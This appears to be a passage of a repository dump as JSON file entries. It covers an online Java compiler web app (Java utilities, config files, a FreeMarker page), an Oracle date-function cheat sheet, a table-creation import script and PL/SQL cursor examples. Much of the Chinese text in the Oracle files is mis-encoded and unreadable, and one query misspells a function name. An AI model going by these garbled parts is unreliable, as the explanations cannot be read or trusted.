locale);\n\n        List<String> reslist = new ArrayList<String>();\n\n        Set<String> keyset = rb.keySet();\n        for (Iterator<String> it = keyset.iterator(); it.hasNext();) {\n            String lkey = (String)it.next();\n            reslist.add(lkey);\n        }\n\n        return reslist;\n\n    }\n\n    /**\n     * 通过key从资源文件读取内容，并格式化\n     * \n     * @param fileName\n     *            资源文件名\n     * \n     * @param key\n     *            索引\n     * \n     * @param objs\n     *            格式化参数\n     * \n     * @return 格式化后的内容\n     */\n    public static String getValue(String fileName, String key, Object[] objs) {\n        String pattern = getValue(fileName, key);\n        String value = MessageFormat.format(pattern, objs);\n        return value;\n    }\n\n    public static void main(String[] args) {\n        System.out.println(getValue(\"resources.messages\", \"101\",new Object[]{100,200}));\n        \n        \n        //根据操作系统环境获取语言环境\n        /*Locale locale = Locale.getDefault();\n        System.out.println(locale.getCountry());//输出国家代码\n        System.out.println(locale.getLanguage());//输出语言代码s\n        \n        //加载国际化资源（classpath下resources目录下的messages.properties，如果是中文环境会优先找messages_zh_CN.properties）\n        ResourceBundle rb = ResourceBundle.getBundle(\"resources.messages\", locale);\n        String retValue = rb.getString(\"101\");//101是messages.properties文件中的key\n        System.out.println(retValue);\n        \n        //信息格式化，如果资源中有{}的参数则需要使用MessageFormat格式化，Object[]为传递的参数，数量根据资源文件中的{}个数决定\n        String value = MessageFormat.format(retValue, new Object[]{100,200});\n        System.out.println(value);\n*/\n\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/util/ToStringUtil.java",
    "content": "package com.lzb.onlinejava.complier.util;\n\npublic class ToStringUtil {\n\n    public static String IntArrayToString(int [] array) {\n        String str = \"[\";\n\n        for (int i = 0; i < array.length; i++) {\n            str = str + array[i] + \",\";\n        }\n        str = str.substring(0, str.length() - 1);\n        str = str + \"]\";\n        return str;\n    }\n\n    public static void main(String[] args) {\n        System.out.println(ToStringUtil.IntArrayToString(new int[]{1, 3, 4}));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/vo/ResultResponse.java",
    "content": "package com.lzb.onlinejava.complier.vo;\n\nimport com.lzb.onlinejava.complier.enums.ResultTypeEnum;\n\nimport java.io.Serializable;\n\n/**\n * author: haiyangp\n * date:  2017/9/26\n * desc: 响应结果\n */\npublic class ResultResponse implements Serializable {\n    //执行结果\n    private String excuteResult;\n    //状态类型\n    private ResultTypeEnum resultTypeEnum;\n    //执行时间\n    private Long excuteDurationTime=-1l;\n\n    private String message;\n\n    public String getExcuteResult() {\n        return excuteResult;\n    }\n\n\n    public static ResultResponse Build(ResultTypeEnum resultTypeEnum) {\n        ResultResponse resultResponse = new ResultResponse();\n        resultResponse.setResultTypeEnum(resultTypeEnum);\n        return resultResponse;\n    }\n\n    public static ResultResponse Build(ResultTypeEnum resultTypeEnum, String message) {\n        ResultResponse resultResponse = Build(resultTypeEnum);\n        resultResponse.setMessage(message);\n        return resultResponse;\n    }\n\n\n    public void setExcuteResult(String excuteResult) {\n        this.excuteResult = excuteResult;\n    }\n\n    public Integer getResultTypeEnum() {\n        return resultTypeEnum.getTypeCode();\n    }\n\n    public void setResultTypeEnum(ResultTypeEnum resultTypeEnum) {\n        this.resultTypeEnum = resultTypeEnum;\n    }\n\n    public Long getExcuteDurationTime() {\n        return excuteDurationTime;\n    }\n\n    public void setExcuteDurationTime(Long excuteDurationTime) {\n        this.excuteDurationTime = excuteDurationTime;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    public void setMessage(String message) {\n        this.message = message;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/resources/application.properties",
    "content": "server.port=8080\n\nspring.devtools.restart.enabled=true\nspring.freemarker.cache=false"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/resources/logback-spring.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration debug=\"false\">\n    <!--定义日志文件的存储地址 勿在 LogBack 的配置中使用相对路径-->\n    <property name=\"LOG_HOME\" value=\"/logs\" />\n    <!-- 控制台输出 -->\n    <appender name=\"STDOUT\" class=\"ch.qos.logback.core.ConsoleAppender\">\n        <encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\">\n            <!--格式化输出：%d表示日期，%thread表示线程名，%-5level：级别从左显示5个字符宽度,%line:行号,%msg：日志消息，%n是换行符-->\n            <pattern>[%d{yyyy-MM-dd HH:mm:ss.SSS}] [%thread] %-5level %logger{80} Line:%line ----> %msg%n</pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n    <!-- 按照每天生成日志文件 -->\n    <!-- RollingFileAppender：滚动记录文件，先将日志记录到指定文件，当符合某个条件时，将日志记录到其他文件 -->\n    <!-- 以下的大概意思是：1.先按日期存日志，日期变了，将前一天的日志文件名重命名为XXX%日期%索引，新的日志仍然是demo.log -->\n    <!--             2.如果日期没有发生变化，但是当前日志的文件大小超过1KB时，对当前日志进行分割 重命名-->\n    <appender name=\"FILE\"  class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n     \t<filter class=\"ch.qos.logback.classic.filter.ThresholdFilter\">\n        \t<level>INFO</level>\n    \t</filter>\n    \t<File>${user.home}/logs/yyzxyy-yqw/defult.log</File>\n        <!-- rollingPolicy:当发生滚动时，决定 RollingFileAppender 的行为，涉及文件移动和重命名。 -->\n        <!-- TimeBasedRollingPolicy： 最常用的滚动策略，它根据时间来制定滚动策略，既负责滚动也负责出发滚动 -->\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n            <!--日志文件输出的文件名-->\n            <FileNamePattern>${user.home}/logs/defult.%d{yyyy-MM-dd}.log</FileNamePattern>\n            <!--日志文件保留天数-->\n            <MaxHistory>90</MaxHistory>\n        </rollingPolicy>\n        <encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\">\n           <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} Line:%line ---->  %msg%n</pattern> \n            <!-- 记录日志的编码:此处设置字符集 - -->\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n\n    <!--myibatis log configure-->\n    <logger name=\"com.apache.ibatis\" level=\"TRACE\"/>\n    <logger name=\"java.sql.Connection\" level=\"DEBUG\"/>\n    <logger name=\"java.sql.Statement\" level=\"DEBUG\"/>\n    <logger name=\"java.sql.PreparedStatement\" level=\"DEBUG\"/>\n\n    <!-- 日志输出级别 -->\n<!--    <root level=\"DEBUG\">-->\n    <root level=\"INFO\">\n        <appender-ref ref=\"STDOUT\" />\n       <!-- <appender-ref ref=\"FILE\" />-->\n    </root>\n\n</configuration>"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/resources/path.properties",
    "content": "file=C:\\\\Users\\\\ucmed\\\\Desktop\\\\java\\\\"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/resources/templates/index.ftl",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>OnLine JAVA IDE</title>\n</head>\n<script type=\"text/javascript\" src=\"/webjars/jquery/1.11.3/jquery.js\"></script>\n<script type=\"text/javascript\" src=\"/webjars/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n<script type=\"text/javascript\" src=\"/webjars/github-com-sentsin-layer/3.0.3/src/layer.js\"></script>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"/webjars/bootstrap/3.3.7/css/bootstrap.css\">\n<body>\n<ol class=\"breadcrumb\">\n    <li><a href=\"#\">Home</a></li>\n    <li><a href=\"#\">JAVA</a></li>\n    <li class=\"active\">IDE</li>\n</ol>\n<form role=\"form\">\n    <div class=\"form-group\" style=\"padding: 20px\">\n        <label for=\"name\">编码区</label>\n        <textarea id=\"inputArea\" class=\"form-control\" rows=\"15\">public class Main\n            {\n                public static void main(String[] args){\n                    System.out.println(\"hello world!\");\n            }\n        }\n        </textarea>\n    </div>\n    <div style=\"padding: 20px\">\n        <label class=\"form-inline\">\n            <input type=\"checkbox\" id=\"timeLimitCheckBox\" value=\"timeLimit\" onclick=\"timeLimitClick()\"> 限时\n            <input type=\"text\" id=\"timeLimitInput\" style=\"display: none\" class=\"form-control\"\n                   placeholder=\"1000(单位：毫秒,默认1S)\">\n        </label>\n    </div>\n    <div style=\"padding: 20px\">\n        <label class=\"form-inline\">\n            <input type=\"checkbox\" id=\"argsCheckBox\" onclick=\"argsCheckBoxClick()\"> 输入参数\n            <input type=\"text\" id=\"argsInput\" style=\"display: none\" class=\"form-control\"\n                   placeholder=\"在此输入args参数,多个以空格分隔\">\n        </label>\n    </div>\n\n    <button onclick=\"doSubmit()\" type=\"button\" style=\"width: 200px\" class=\"btn btn-success center-block\"\n            aria-hidden=\"true\">提交\n    </button>\n    <br><br><br>\n\n    <div style=\"padding: 20px\">\n        <div class=\"panel panel-info\">\n            <div class=\"panel-heading\">\n                <h3 class=\"panel-title\">运行信息</h3>\n            </div>\n            <div class=\"panel-body\" id=\"complieInfoDiv\">\n            </div>\n        </div>\n    </div>\n\n    <div style=\"padding: 20px\">\n        <div class=\"panel panel-primary\">\n            <div class=\"panel-heading\">\n                <h3 class=\"panel-title\">运行结果</h3>\n            </div>\n            <div class=\"panel-body\" id=\"resultDiv\">\n\n            </div>\n        </div>\n    </div>\n</form>\n</body>\n<script>\n    function doSubmit() {\n        var url = \"/complie\";\n        var excuteTimeLimit = $(\"#timeLimitInput\").val().trim();\n        var excuteArgs = $(\"#argsInput\").val().trim();\n        if ($(\"#timeLimitCheckBox\").prop(\"checked\")) {\n            if (excuteTimeLimit == \"\") {\n                excuteTimeLimit = 1000;\n            }\n        } else {\n            excuteTimeLimit = null;\n        }\n        if ($(\"#argsCheckBox\").prop(\"checked\")) {\n            if (excuteArgs == \"\") {\n                excuteArgs = null;\n            }\n        } else {\n            excuteArgs = null;\n        }\n        var data = {\"javaSource\": $(\"#inputArea\").val(), \"excuteTimeLimit\": excuteTimeLimit,\"excuteArgs\": excuteArgs};\n        $.post(url, data, function (result) {\n            layer.msg(\"结果:\" + result.message);\n            //设置执行信息\n            $(\"#complieInfoDiv\").html(\"运行耗时(毫秒)：\" + result.excuteDurationTime + \"<br>编译状态：\" + result.message);\n            //设置执行结果\n            $(\"#resultDiv\").html(result.excuteResult);\n        });\n    }\n\n    function timeLimitClick() {\n        if ($(\"#timeLimitCheckBox\").prop(\"checked\")) {\n            $(\"#timeLimitInput\").show();\n        } else {\n            $(\"#timeLimitInput\").hide();\n        }\n    }\n\n    function argsCheckBoxClick() {\n        if ($(\"#argsCheckBox\").prop(\"checked\")) {\n            $(\"#argsInput\").show();\n        } else {\n            $(\"#argsInput\").hide();\n        }\n    }\n</script>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_oracle/oracle to_date.md",
    "content": "OracleTO_DATEʽ2009-04-14 10:53TO_DATEʽ(ʱ:2007-11-02   13:45:25Ϊ) \n   \n        Year:      \n        yy two digits λ                ʾֵ:07 \n        yyy three digits λ                ʾֵ:007 \n        yyyy four digits λ                ʾֵ:2007 \n            \n        Month:      \n        mm    number     λ              ʾֵ:11 \n        mon    abbreviated ַʾ          ʾֵ:11,Ӣİ,ʾnov     \n        month spelled out ַʾ          ʾֵ:11,Ӣİ,ʾnovember \n          \n        Day:      \n        dd    number         µڼ        ʾֵ:02 \n        ddd    number         ڼ        ʾֵ:02 \n        dy    abbreviated ܵڼд    ʾֵ:,Ӣİ,ʾfri \n        day    spelled out   ܵڼȫд    ʾֵ:,Ӣİ,ʾfriday        \n        ddspth spelled out, ordinal twelfth \n             \n              Hour: \n              hh    two digits 12Сʱ            ʾֵ:01 \n              hh24 two digits 24Сʱ            ʾֵ:13 \n              \n              Minute: \n              mi    two digits 60                ʾֵ:45 \n              \n              Second: \n              ss    two digits 60                ʾֵ:25 \n              \n               \n              Q     digit                           ʾֵ:4 \n              WW    digit         ڼ            ʾֵ:44 \n              W    digit          µڼ            ʾֵ:1 \n              \n        24Сʱʽʱ䷶ΧΪ 0:00:00 - 23:59:59....      \n        12Сʱʽʱ䷶ΧΪ 1:00:00 - 12:59:59 .... \n            \n1. ںַת÷to_date,to_char \n         \nselect to_char(sysdate,'yyyy-mm-dd hh24:mi:ss') as nowTime from dual;   //תΪַ   \nselect to_char(sysdate,'yyyy') as nowYear   from dual;   //ȡʱ   \nselect to_char(sysdate,'mm')    as nowMonth from dual;   //ȡʱ   \nselect to_char(sysdate,'dd')    as nowDay    from dual;   //ȡʱ   \nselect to_char(sysdate,'hh24') as nowHour   from dual;   //ȡʱʱ   \nselect to_char(sysdate,'mi')    as nowMinute from dual;   //ȡʱķ   \nselect to_char(sysdate,'ss')    as nowSecond from dual;   //ȡʱ \n    \nselect to_date('2004-05-07 13:23:44','yyyy-mm-dd hh24:mi:ss')    from dual//\n2.      \n    select to_char( to_date(222,'J'),'Jsp') from dual      \n    \n    ʾTwo Hundred Twenty-Two    \n3.ĳڼ      \n   select to_char(to_date('2002-08-26','yyyy-mm-dd'),'day') from dual;      \n   һ      \n   select to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE = American') from dual;      \n   monday      \n         \n   ALTER SESSION SET NLS_DATE_LANGUAGE='AMERICAN';      \n   Ҳ      \n   TO_DATE ('2002-08-26', 'YYYY-mm-dd', 'NLS_DATE_LANGUAGE = American')    \n4. ڼ      \n    select floor(sysdate - to_date('20020405','yyyymmdd')) from dual;    \n5. ʱΪnull÷      \n   select id, active_date from table1      \n   UNION      \n   select 1, TO_DATE(null) from dual;      \n   \n   עҪTO_DATE(null)    \n6.·ݲ   \n   a_date between to_date('20011201','yyyymmdd') and to_date('20011231','yyyymmdd')      \n   ô123112֮121ŵ12֮ǰǲΧ֮ڵġ      \n   ԣʱҪȷʱ򣬾to_charǱҪ \n      \n7. ڸʽͻ      \n    ĸʽҪ㰲װORACLEַ, : US7ASCII, dateʽ;: '01-Jan-01'      \n    alter system set NLS_DATE_LANGUAGE = American      \n    alter session set NLS_DATE_LANGUAGE = American      \n    to_dateд      \n    select to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE = American') from dual;      \n    עֻǾNLS_DATE_LANGUAGEȻкܶ࣬      \n    ɲ鿴      \n    select * from nls_session_parameters      \n    select * from V$NLS_PARAMETERS    \n8.      \n   select count(*)      \n   from ( select rownum-1 rnum      \n       from all_objects      \n       where rownum <= to_date('2002-02-28','yyyy-mm-dd') - to_date('2002-      \n       02-01','yyyy-mm-dd')+1      \n      )      \n   where to_char( to_date('2002-02-01','yyyy-mm-dd')+rnum-1, 'D' )      \n        not in ( '1', '7' )      \n   \n   2002-02-282002-02-01һߵ      \n   ǰֱDBMS_UTILITY.GET_TIME, ú󽫽(õ1/100, Ǻ).    \n9. ·     \n    select months_between(to_date('01-31-1999','MM-DD-YYYY'),to_date('12-31-1998','MM-DD-YYYY')) \"MONTHS\" FROM DUAL;      \n    1      \n   select months_between(to_date('02-01-1999','MM-DD-YYYY'),to_date('12-31-1998','MM-DD-YYYY')) \"MONTHS\" FROM DUAL;      \n    1.03225806451613 \n       \n10. Next_day÷      \n    Next_day(date, day)      \n    \n    Monday-Sunday, for format code DAY      \n    Mon-Sun, for format code DY      \n    1-7, for format code D    \n11      \n   select to_char(sysdate,'hh:mi:ss') TIME from all_objects      \n   ע⣺һ¼TIME һһ      \n   Խһ      \n   create or replace function sys_date return date is      \n   begin      \n   return sysdate;      \n   end;      \n   \n   select to_char(sys_date,'hh:mi:ss') from all_objects;   \n     \n12.Сʱ      \n     extract()ҳڻֵֵֶ \n    SELECT EXTRACT(HOUR FROM TIMESTAMP '2001-02-16 2:38:40') from offer      \n    SQL> select sysdate ,to_char(sysdate,'hh') from dual;      \n    \n    SYSDATE TO_CHAR(SYSDATE,'HH')      \n    -------------------- ---------------------      \n    2003-10-13 19:35:21 07      \n    \n    SQL> select sysdate ,to_char(sysdate,'hh24') from dual;      \n    \n    SYSDATE TO_CHAR(SYSDATE,'HH24')      \n    -------------------- -----------------------      \n    2003-10-13 19:35:21 19    \n       \n13.յĴ      \n   select older_date,      \n       newer_date,      \n       years,      \n       months,      \n       abs(      \n        trunc(      \n         newer_date-      \n         add_months( older_date,years*12+months )      \n        )      \n       ) days \n       \n   from ( select      \n        trunc(months_between( newer_date, older_date )/12) YEARS,      \n        mod(trunc(months_between( newer_date, older_date )),12 ) MONTHS,      \n        newer_date,      \n        older_date      \n        from ( \n              select hiredate older_date, add_months(hiredate,rownum)+rownum newer_date      \n              from emp \n             )      \n      )    \n14.·İ취      \n   select to_char(add_months(last_day(sysdate) +1, -2), 'yyyymmdd'),last_day(sysdate) from dual    \n16.ҳ      \n   select add_months(trunc(sysdate,'year'), 12) - trunc(sysdate,'year') from dual    \n   Ĵ      \n   to_char( last_day( to_date('02'    | | :year,'mmyyyy') ), 'dd' )      \n   28Ͳ    \n17.yyyyrrrr      \n   'YYYY99 TO_C      \n   ------- ----      \n   yyyy 99 0099      \n   rrrr 99 1999      \n   yyyy 01 0001      \n   rrrr 01 2001    \n18.ͬʱĴ      \n   select to_char( NEW_TIME( sysdate, 'GMT','EST'), 'dd/mm/yyyy hh:mi:ss') ,sysdate      \n   from dual;    \n19.5һ      \n   Select TO_DATE(FLOOR(TO_CHAR(sysdate,'SSSSS')/300) * 300,'SSSSS') ,TO_CHAR(sysdate,'SSSSS')      \n   from dual    \n   2002-11-1 9:55:00 35786      \n   SSSSSʾ5λ    \n20.һĵڼ      \n   select TO_CHAR(SYSDATE,'DDD'),sysdate from dual \n        \n   310 2002-11-6 10:03:51    \n21.Сʱ,,,      \n    select      \n     Days,      \n     A,      \n     TRUNC(A*24) Hours,      \n     TRUNC(A*24*60 - 60*TRUNC(A*24)) Minutes,      \n     TRUNC(A*24*60*60 - 60*TRUNC(A*24*60)) Seconds,      \n     TRUNC(A*24*60*60*100 - 100*TRUNC(A*24*60*60)) mSeconds      \n    from      \n    (      \n     select      \n     trunc(sysdate) Days,      \n     sysdate - trunc(sysdate) A      \n     from dual      \n   )    \n\n   select * from tabname      \n   order by decode(mode,'FIFO',1,-1)*to_char(rq,'yyyymmddhh24miss');      \n   \n   //      \n   floor((date2-date1) /365) Ϊ      \n   floor((date2-date1, 365) /30) Ϊ      \n   d(mod(date2-date1, 365), 30)Ϊ.\n23.next_day      ¸ڵ,dayΪ1-7-,1ʾ \n   next_day(sysdate,6)Ǵӵǰʼһ塣Ǵտʼ      \n   1 2 3 4 5 6 7      \n    һ         \n   \n   --------------------------------------------------------------- \n   \n   select    (sysdate-to_date('2003-12-03 12:55:45','yyyy-mm-dd hh24:mi:ss'))*24*60*60 from ddual \n    ص Ȼ תΪss \n     \n24,round[뵽ӽ](day:뵽ӽ) \n   select sysdate S1, \n   round(sysdate) S2 , \n   round(sysdate,'year') YEAR, \n   round(sysdate,'month') MONTH , \n   round(sysdate,'day') DAY from dual\n25,trunc[ضϵӽ,λΪ] ,ص \n   select sysdate S1,                     \n     trunc(sysdate) S2,                 //صǰ,ʱ \n     trunc(sysdate,'year') YEAR,        //صǰ11,ʱ \n     trunc(sysdate,'month') MONTH ,     //صǰµ1,ʱ \n     trunc(sysdate,'day') DAY           //صǰڵ,ʱ \n   from dual\n26,б \n   select greatest('01-1-04','04-1-04','10-2-04') from dual\n27.ʱ \n     ע:oracleʱΪλ,Ի, \n     \n      select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))/365) as spanYears from dual       \n//ʱ- \n      select ceil(moths_between(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))) as spanMonths from dual       \n//ʱ- \n      select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))) as spanDays from dual            \n//ʱ- \n      select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))*24) as spanHours from dual        \n//ʱ-ʱ \n      select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))*24*60) as spanMinutes from dual   \n//ʱ- \n      select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))*24*60*60) as spanSeconds from dual\n//ʱ-\n28.ʱ \n     ע:oracleʱӼΪλ,ıΪn,Ի, \n     select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n*365,'yyyy-mm-dd hh24:mi:ss') as newTime from dual       \n//ıʱ- \n     select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),add_months(sysdate,n) as newTime from dual                //ıʱ- \n     select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n,'yyyy-mm-dd hh24:mi:ss') as newTime from dual           \n//ıʱ- \n     select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n/24,'yyyy-mm-dd hh24:mi:ss') as newTime from dual        \n//ıʱ-ʱ \n     select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n/24/60,'yyyy-mm-dd hh24:mi:ss') as newTime from dual     \n//ıʱ- \n     select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n/24/60/60,'yyyy-mm-dd hh24:mi:ss') as newTime from dual  \n//ıʱ-\n29.µĵһ,һ \n     SELECT Trunc(Trunc(SYSDATE, 'MONTH') - 1, 'MONTH') First_Day_Last_Month, \n       Trunc(SYSDATE, 'MONTH') - 1 / 86400 Last_Day_Last_Month, \n       Trunc(SYSDATE, 'MONTH') First_Day_Cur_Month, \n       LAST_DAY(Trunc(SYSDATE, 'MONTH')) + 1 - 1 / 86400 Last_Day_Cur_Month \n   FROM dual; "
  },
  {
    "path": "jun_java_plugins/jun_oracle/oracle_book.sql",
    "content": "prompt PL/SQL Developer import file\nprompt Created on 20151022 by Administrator\nset feedback off\nset define off\nprompt Creating T_BOOKTYPE...\ncreate table T_BOOKTYPE\n(\n  id       NUMBER not null,\n  typename VARCHAR2(20),\n  num      NUMBER\n)\ntablespace USERS\n  pctfree 10\n  initrans 1\n  maxtrans 255\n  storage\n  (\n    initial 64K\n    next 1M\n    minextents 1\n    maxextents unlimited\n  );\nalter table T_BOOKTYPE\n  add constraint IDP primary key (ID)\n  using index \n  tablespace USERS\n  pctfree 10\n  initrans 2\n  maxtrans 255\n  storage\n  (\n    initial 64K\n    next 1M\n    minextents 1\n    maxextents unlimited\n  );\n\nprompt Creating T_BOOK...\ncreate table T_BOOK\n(\n  id       NUMBER not null,\n  bookname VARCHAR2(20),\n  typeid   NUMBER\n)\ntablespace USERS\n  pctfree 10\n  initrans 1\n  maxtrans 255\n  storage\n  (\n    initial 64K\n    next 1M\n    minextents 1\n    maxextents unlimited\n  );\nalter table T_BOOK\n  add constraint IDPP primary key (ID)\n  using index \n  tablespace USERS\n  pctfree 10\n  initrans 2\n  maxtrans 255\n  storage\n  (\n    initial 64K\n    next 1M\n    minextents 1\n    maxextents unlimited\n  );\nalter table T_BOOK\n  add constraint TYPEIDF foreign key (TYPEID)\n  references T_BOOKTYPE (ID);\n\nprompt Creating T_BOOK_LOG...\ncreate table T_BOOK_LOG\n(\n  actionuser VARCHAR2(20),\n  actionname VARCHAR2(20),\n  actiontime DATE\n)\ntablespace USERS\n  pctfree 10\n  initrans 1\n  maxtrans 255\n  storage\n  (\n    initial 64K\n    next 1M\n    minextents 1\n    maxextents unlimited\n  );\n\nprompt Disabling triggers for T_BOOKTYPE...\nalter table T_BOOKTYPE disable all triggers;\nprompt Disabling triggers for T_BOOK...\nalter table T_BOOK disable all triggers;\nprompt Disabling triggers for T_BOOK_LOG...\nalter table T_BOOK_LOG disable all triggers;\nprompt Disabling foreign key constraints for T_BOOK...\nalter table T_BOOK disable constraint TYPEIDF;\nprompt Deleting T_BOOK_LOG...\ndelete from T_BOOK_LOG;\ncommit;\nprompt Deleting T_BOOK...\ndelete from T_BOOK;\ncommit;\nprompt Deleting T_BOOKTYPE...\ndelete from T_BOOKTYPE;\ncommit;\nprompt Loading T_BOOKTYPE...\ninsert into T_BOOKTYPE (id, typename, num)\nvalues (1, '', 3);\ninsert into T_BOOKTYPE (id, typename, num)\nvalues (2, '', 1);\ncommit;\nprompt 2 records loaded\nprompt Loading T_BOOK...\ninsert into T_BOOK (id, bookname, typeid)\nvalues (1, 'java˼', 1);\ninsert into T_BOOK (id, bookname, typeid)\nvalues (2, 'һͷJava', 1);\ninsert into T_BOOK (id, bookname, typeid)\nvalues (3, 'Դ', 2);\ninsert into T_BOOK (id, bookname, typeid)\nvalues (4, 'xx3', 1);\ncommit;\nprompt 4 records loaded\nprompt Loading T_BOOK_LOG...\ninsert into T_BOOK_LOG (actionuser, actionname, actiontime)\nvalues ('SCOTT', 'insert', to_date('22-10-2015 08:11:13', 'dd-mm-yyyy hh24:mi:ss'));\ninsert into T_BOOK_LOG (actionuser, actionname, actiontime)\nvalues ('SCOTT', 'update', to_date('22-10-2015 08:12:19', 'dd-mm-yyyy hh24:mi:ss'));\ninsert into T_BOOK_LOG (actionuser, actionname, actiontime)\nvalues ('SCOTT', 'delete', to_date('22-10-2015 08:12:37', 'dd-mm-yyyy hh24:mi:ss'));\ninsert into T_BOOK_LOG (actionuser, actionname, actiontime)\nvalues ('SCOTT', 'insert', to_date('22-10-2015 08:17:09', 'dd-mm-yyyy hh24:mi:ss'));\ninsert into T_BOOK_LOG (actionuser, actionname, actiontime)\nvalues ('SCOTT', 'delete', to_date('22-10-2015 08:18:50', 'dd-mm-yyyy hh24:mi:ss'));\ninsert into T_BOOK_LOG (actionuser, actionname, actiontime)\nvalues ('SCOTT', 'update', to_date('22-10-2015 08:21:02', 'dd-mm-yyyy hh24:mi:ss'));\ncommit;\nprompt 6 records loaded\nprompt Enabling foreign key constraints for T_BOOK...\nalter table T_BOOK enable constraint TYPEIDF;\nprompt Enabling triggers for T_BOOKTYPE...\nalter table T_BOOKTYPE enable all triggers;\nprompt Enabling triggers for T_BOOK...\nalter table T_BOOK enable all triggers;\nprompt Enabling triggers for T_BOOK_LOG...\nalter table T_BOOK_LOG enable all triggers;\nset feedback on\nset define on\nprompt Done.\n"
  },
  {
    "path": "jun_java_plugins/jun_oracle/oracle_cursor.md",
    "content": "set serverout on;\ndeclare cursor cu_emp is select empno,ename,sal from emp;\ne_no number;\ne_name varchar2(10);\ne_sal number;\nbegin\n  open cu_emp;\n  fetch cu_emp into e_no,e_name,e_sal;\n  while cu_emp%found loop\n    dbms_output.put_line('ţ'||e_no||''||e_name||'нʣ'||e_sal);\n    fetch cu_emp into e_no,e_name,e_sal;\n  end loop;\n  close cu_emp;\nend;\n\n\nset serverout on;\ndeclare cursor cu_emp is select empno,ename,sal from emp;\ne_no emp.empno%type;\ne_name emp.ename%type;\ne_sal emp.sal%type;\nbegin\n  open cu_emp;\n  fetch cu_emp into e_no,e_name,e_sal;\n  while cu_emp%found loop\n    dbms_output.put_line('ţ'||e_no||''||e_name||'нʣ'||e_sal);\n    fetch cu_emp into e_no,e_name,e_sal;\n  end loop;\n  close cu_emp;\nend;\n\nset serverout on;\ndeclare cursor cu_emp is select * from emp;\ne emp%rowtype;\nbegin\n  open cu_emp;\n  fetch cu_emp into e;\n  while cu_emp%found loop\n    dbms_output.put_line('ţ'||e.empno||''||e.ename||'нʣ'||e.sal);\n    fetch cu_emp into e;\n  end loop;\n  close cu_emp;\nend;\n\n\nset serverout on;\ndeclare cursor cu_emp is select * from emp where sal>2000 and sal<3000;\ne emp%rowtype;\nbegin\n  open cu_emp;\n  fetch cu_emp into e;\n  while cu_emp%found loop\n    dbms_output.put_line('ţ'||e.empno||''||e.ename||'нʣ'||e.sal);\n    fetch cu_emp into e;\n  end loop;\n  close cu_emp;\nend;\n\nbegin\n  if sql%isopen then\n     dbms_output.put_line('sqlαѴ');\n  else\n     dbms_output.put_line('sqlαδ'); \n  end if;\nend;\n\ndeclare e_count number;\nbegin\n  select count(*) into e_count from emp;\n  dbms_output.put_line('α겶ļ¼'||sql%rowcount); \nend;\n\ndeclare e_count number;\nbegin\n  select count(*) into e_count from emp;\n  dbms_output.put_line('α겶ļ¼'||sql%rowcount); \nend;\n\n\nbegin\n  update emp set ename='sb3' where empno=111;\n  if sql%rowcount=1 then\n    dbms_output.put_line('Ѹ');\n  else\n    dbms_output.put_line('δ');\n  end if;\nend;\n\nbegin\n  update emp set ename='sb3' where empno=111;\n  if sql%found then\n    dbms_output.put_line('Ѹ');\n  else\n    dbms_output.put_line('δ');\n  end if;\nend;\n\ndeclare type emptype is ref cursor return emp%rowtype;\ncu_emp emptype;\ne_count number;\ne emp%rowtype;\nbegin\n  select count(*) into e_count from emp where job='PRESIDENT1';\n  if e_count=0 then\n    open cu_emp for select * from emp;\n  else\n    open cu_emp for select * from emp where job='PRESIDENT';\n  end if;\n  fetch cu_emp into e;\n  while cu_emp%found loop\n    dbms_output.put_line('ţ'||e.empno||''||e.ename||'нʣ'||e.sal);\n    fetch cu_emp into e;\n  end loop;\n  close cu_emp;\nend;\n\n\ndeclare type customType is ref cursor;\ne_count number;\ne emp%rowtype;\ns salgrade%rowType;\ncType customType;\nbegin\n  select count(*) into e_count from emp where job='PRESIDENT1';\n  if e_count=0 then\n    open cType for select * from salgrade;\n    fetch cType into s;\n    while cType%found loop\n      dbms_output.put_line('ȼ'||s.grade||'нʣ'||s.losal||'нʣ'||s.hisal);\n      fetch cType into s;\n    end loop;\n    close cType;\n  else\n    open cType for select * from emp where job='PRESIDENT';\n    fetch cType into e;\n    while cType%found loop\n      